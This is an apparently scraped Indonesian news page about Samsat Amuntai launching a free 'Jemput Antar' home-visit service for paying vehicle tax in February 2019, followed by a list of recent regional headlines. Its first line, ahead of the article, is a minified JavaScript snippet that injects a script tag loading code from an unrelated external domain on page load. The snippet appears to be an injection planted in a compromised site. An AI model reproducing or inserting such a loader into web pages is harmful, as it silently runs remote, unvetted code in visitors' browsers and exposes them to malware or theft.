(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Layanan Publik

Samsat Amuntai Luncurkan Unit Layanan Jemput Antar


AMUNTAI, Unit Pelayanan Pendapan Daerah (UPPD) Samsat Amuntai meluncurkan unit pelayanan Samsat Jemput Antar untuk masyarakat yang membutuhkan. Layanan pembayaran pajak kendaraan bermotor secara langsung tanpa harus melakukan pembayaran ke kantor Samsat.

Layanan jemput antar ini tidak dibebankan biaya administrasi, cukup hanya membayar pajak yang tertera sesuai dengan surat ketetapan pajak daerah kendaraan bermotor yang akan dibayarkan. Ini bentuk inovasi baru pelayanan setelah Samsat Amuntai meluncurkan Samsat Keliling, Samsat Desa dan Samsat Payment Point yang telah lama beroperasi.

Kepala UPPD Samsat Amuntai Faisal Rumiarsi kepada Kanalkalimantan, Kamis (21/2) mengungkapkan, program Samsat Jemput Antar ini disediakan untuk meningkatkan pelayanan kepada masyarakat yang membutuhkan pelayanan langsung di rumah.

“Kami selalu berupaya untuk memudahkan, mendekatkan dan mempercepat layanan di wilayah Kabupaten Hulu Sungai Utara,” kata Faisal.

Ia menyebut, meski progaram layanan Samsat Jemput Antar ini telah lama direncanakan, namun baru di awal tahun tepatnya tanggal 21 Februari 2019 ini diluncurkannya secara langsung kepada masyarakat.

Faisal berharap masyarakat wajib pajak kendaraan bermotor di wilayah Kabupaten HSU dapat memanfaatkan layanan Samsat jemput antar ini dengan sebaik-baiknya. Bisa menghubungi via telepon dengan nomor 0527 61040 atau 0811 500 4143. “Petugas pelayanan dapat langsung mendatangi masyarakat yang membutuhkan layanan ini,” tegasnya.

Pelayanan Samsat Jemput Antar ini untuk sementara beroperasi untuk wilayah Amuntai Tengah saja. Tetapi daerah lainnya di seluruh kecamatan di Kabupaten HSU telah terlayani dengan adanya Samsat Keliling, Samsat Desa dan Samsat Payment Point, yang beroperasi secara bergiliran setiap pekan.

“Semoga layanan ini dapat diterima dengan baik oleh masyarakat, tidak ada lagi alasan tempat yang jauh untuk menunda-nunda membayar pajak kendaraan bermotor,” pungkasnya. (dew)

Reporter : Dew
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

DPKP Kabupaten Banjar Laksanakan Forum Perangkat Daerah

KANALKALIMANTAN.COM, MARTAPURA – Dinas Pemadam Kebakaran dan Penyelamatan (DPKP) Kabupaten Banjar menggelar Forum Perangkat Daerah… Read More

29 menit ago

Hj Siti Saniah Ditetapkan sebagai Ibunda Guru Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Ketua Tim Penggerak PKK Kabupaten Kapuas Hj Siti Saniah secara resmi… Read More

2 jam ago

Insentif 391 Guru Honorer di HSU Telat Dibayar, Begini Penjelasan Plt Kabag Prokopim

KANALKALIMANTAN.COM, AMUNTAI - Pelaksana Tugas (Plt) Kepala Bagian Protokol dan Komunikasi Pimpinan (Prokopim) Setda Kabupaten… Read More

3 jam ago

Konferensi Kabupaten PGRI Kapuas Masa Bakti XXIII, Ini Pesan Bupati Wiyatno

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno membuka Konferensi Kabupaten Persatuan Guru Republik… Read More

3 jam ago

Wabup Banjar Hadiri Musrenbang RKPD Provinsi Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Wakil Bupati Banjar Habib Idrus Al Habsyi mengikuti Musyawarah Perencanaan Pembangunan (Musrenbang)… Read More

4 jam ago

Ikuti Rapat Paripurna, Wabup Banjar Bacakan 2 Raperda

KANALKALIMANTAN.COM, MARTAPURA - Rapat paripurna dengan agenda Penyampaian Bupati atas Raperda tentang Penyelenggaraan Perhubungan dan… Read More

5 jam ago